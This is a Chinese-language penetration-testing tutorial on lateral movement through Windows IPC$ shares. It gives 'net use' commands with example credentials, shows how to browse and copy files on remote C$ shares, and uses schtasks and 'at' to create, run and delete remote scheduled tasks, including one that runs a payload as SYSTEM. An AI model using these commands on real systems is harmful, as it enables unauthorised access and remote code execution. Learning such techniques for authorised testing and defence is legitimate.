简介
渗透测试过程中可能会、IPC链接进行横向传递,IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以在远程计算机开启139或445端口时,通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
IPC操作
建立ipc链接
net use \\IP\IPC$ 密码 /user:用户名
net use \\192.168.220.160\IPC$ !@#QAZwsx123 /user:administrator
在域中使用IPC的时候
net use \\10.10.3.6\ipc$ "QWEasd1234" /user:域名\用户名
建立链接之后,即可执行命令
查看目录
dir \\192.168.220.160\c$
将文件copy到远程主机
copy c:\1.txt \\192.168.220.160\C$\windows\temp
下面的命令可以查看对应的文件内容
type \\192.168.220.160\C$\windows\temp\1.txt
查看远程系统的进程
tasklist \\192.168.220.160
计划任务
schtasks
查看远程系统时间
net time \\192.168.220.160
schtasks命令,使用以下命令可以远程创建系统任务.
schtasks /create /s 192.168.220.160 /u administrator /p !@#QAZwsx123 /tn testschtask /tr C:\windows\temp\1.ps1 /sc DAILY /st 21:25:00
可以按照以下方式,一步一步看懂命令的内容,以及你想要的内容
schtasks /?
schtasks /create /?
另外一种方式
schtasks /create /s 192.168.52.138 /tn test /sc onstart /tr c:\dayu.txt /ru system /f
schtasks /run /s 192.168.52.138 /i /tn "test"
删除计划任务
schtasks /delete /s 192.168.52.138 /tn "test" -f
at
at命令基础
at id号 //开启已注册的某个计划任务
at /delete //停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete //停止某个已注册的计划任务
at \\ip time 程序名批处理 //在某时间运行对方某程序并重新启动计算机 shutdown /r 存到批处理文件
远程创建计划任务
at \\10.10.3.6 14:51 C:\dayu.txt
at \\192.168.220.146 id号 /delete
参考
https://www.cnblogs.com/-mo-/p/11813608.html
https://www.cnblogs.com/Drunkmars/p/mar29.html
https://www.cnblogs.com/pt007/p/11857274.html
https://www.freebuf.com/articles/web/270238.html
https://www.freebuf.com/vuls/257477.html
https://blog.csdn.net/flyingleo1981/article/details/18763229